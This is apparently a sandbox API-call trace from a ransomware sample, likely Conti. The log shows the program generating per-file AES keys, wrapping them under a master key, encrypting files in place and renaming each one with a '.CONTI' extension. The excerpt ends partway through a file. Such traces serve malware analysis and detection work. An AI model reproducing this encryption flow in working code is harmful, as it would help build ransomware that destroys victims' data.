	[0094.154] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=894) returned 1
	[0094.154] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x37e
	[0094.154] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.154] SetEndOfFile (hFile=0x34c) returned 1
	[0094.154] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.154] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.154] WriteFile (in: hFile=0x34c, lpBuffer=0x17d368c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x17d368c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0094.156] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.156] ReadFile (in: hFile=0x34c, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x37e, lpOverlapped=0x0) returned 1
	[0094.156] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x37e, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x380) returned 1
	[0094.156] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.156] WriteFile (in: hFile=0x34c, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x380, lpOverlapped=0x0) returned 1
	[0094.157] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.157] WriteFile (in: hFile=0x34c, lpBuffer=0x17d3680*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x17d3680*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0094.157] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.157] CloseHandle (hObject=0x34c) returned 1
	[0094.157] GetProcessHeap () returned 0x1720000
	[0094.157] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.158] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico"
	[0094.158] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.CONTI"
	[0094.158] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.conti")) returned 1
	[0094.159] GetProcessHeap () returned 0x1720000
	[0094.159] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.159] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0094.159] GetProcessHeap () returned 0x1720000
	[0094.159] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6e60 | out: hHeap=0x1720000) returned 1
	[0094.159] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0095.289] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x17d4d58 | out: phKey=0x17d4d58*=0x17c83b0) returned 1
	[0095.289] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4d5c, pdwDataLen=0x573fb4c | out: pbData=0x17d4d5c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0095.290] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20
	[0096.809] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0096.809] GetLastError () returned 0x0
	[0096.809] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=1052672) returned 1
	[0096.809] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x101000
	[0096.809] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.809] SetEndOfFile (hFile=0x394) returned 1
	[0096.809] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.810] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.810] WriteFile (in: hFile=0x394, lpBuffer=0x17d4d5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x17d4d5c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0096.811] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.811] ReadFile (in: hFile=0x394, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x101000, lpOverlapped=0x0) returned 1
	[0096.877] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x101000, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x101010) returned 1
	[0096.883] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.883] WriteFile (in: hFile=0x394, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x101010, lpOverlapped=0x0) returned 1
	[0096.886] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.886] WriteFile (in: hFile=0x394, lpBuffer=0x17d4d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x17d4d50*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0096.886] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.886] CloseHandle (hObject=0x394) returned 1
	[0097.513] GetProcessHeap () returned 0x1720000
	[0097.514] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.514] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx"
	[0097.514] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.CONTI"
	[0097.514] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.conti")) returned 1
	[0097.514] GetProcessHeap () returned 0x1720000
	[0097.514] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.514] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0097.514] GetProcessHeap () returned 0x1720000
	[0097.514] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eff0 | out: hHeap=0x1720000) returned 1
	[0097.514] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0098.765] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x17e7238 | out: phKey=0x17e7238*=0x17c84f0) returned 1
	[0098.766] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e723c, pdwDataLen=0x573fb4c | out: pbData=0x17e723c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0098.766] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml")) returned 0x20
	[0098.766] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0098.767] GetLastError () returned 0x0
	[0098.767] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=21009) returned 1
	[0098.767] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5211
	[0098.767] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.767] SetEndOfFile (hFile=0x350) returned 1
	[0098.767] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.767] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.770] WriteFile (in: hFile=0x350, lpBuffer=0x17e723c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x17e723c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0098.799] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.799] ReadFile (in: hFile=0x350, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x5211, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x5211, lpOverlapped=0x0) returned 1
	[0098.799] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x5211, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x5220) returned 1
	[0098.799] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.799] WriteFile (in: hFile=0x350, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x5220, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x5220, lpOverlapped=0x0) returned 1
	[0098.800] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.800] WriteFile (in: hFile=0x350, lpBuffer=0x17e7230*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x17e7230*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0098.800] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.800] CloseHandle (hObject=0x350) returned 1
	[0098.801] GetProcessHeap () returned 0x1720000
	[0098.801] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0098.801] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml"
	[0098.801] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.CONTI"
	[0098.801] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\masterdescriptor.x-none.xml.conti")) returned 1
	[0098.802] GetProcessHeap () returned 0x1720000
	[0098.802] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0098.802] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0098.802] GetProcessHeap () returned 0x1720000
	[0098.802] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8e70 | out: hHeap=0x1720000) returned 1
	[0098.802] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0098.802] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x17d31f8 | out: phKey=0x17d31f8*=0x17c8230) returned 1
	[0098.802] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d31fc, pdwDataLen=0x573fb4c | out: pbData=0x17d31fc*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0098.803] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml")) returned 0x20
	[0098.803] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0098.803] GetLastError () returned 0x0
	[0098.803] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=23345) returned 1
	[0098.803] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5b31
	[0098.803] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.803] SetEndOfFile (hFile=0x350) returned 1
	[0098.804] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.804] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.804] WriteFile (in: hFile=0x350, lpBuffer=0x17d31fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x17d31fc*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0098.806] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.806] ReadFile (in: hFile=0x350, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x5b31, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x5b31, lpOverlapped=0x0) returned 1
	[0098.807] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x5b31, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x5b40) returned 1
	[0098.807] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.807] WriteFile (in: hFile=0x350, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x5b40, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x5b40, lpOverlapped=0x0) returned 1
	[0098.807] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.807] WriteFile (in: hFile=0x350, lpBuffer=0x17d31f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x17d31f0*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0098.807] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.807] CloseHandle (hObject=0x350) returned 1
	[0098.808] GetProcessHeap () returned 0x1720000
	[0098.808] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0098.810] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml"
	[0098.810] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml.CONTI"
	[0098.810] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml.conti")) returned 1
	[0098.811] GetProcessHeap () returned 0x1720000
	[0098.811] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0098.811] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0098.811] GetProcessHeap () returned 0x1720000
	[0098.811] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c32b8 | out: hHeap=0x1720000) returned 1
	[0098.811] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0098.811] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x17d38d0 | out: phKey=0x17d38d0*=0x17c8470) returned 1
	[0098.811] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d38d4, pdwDataLen=0x573fb4c | out: pbData=0x17d38d4*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0098.813] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash")) returned 0x20
	[0098.813] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\s320.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\s320.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0098.813] GetLastError () returned 0x0
	[0098.813] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=102) returned 1
	[0098.813] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x66
	[0098.814] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.814] SetEndOfFile (hFile=0x350) returned 1
	[0098.816] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.816] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.816] WriteFile (in: hFile=0x350, lpBuffer=0x17d38d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x17d38d4*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0098.818] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.819] ReadFile (in: hFile=0x350, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x66, lpOverlapped=0x0) returned 1
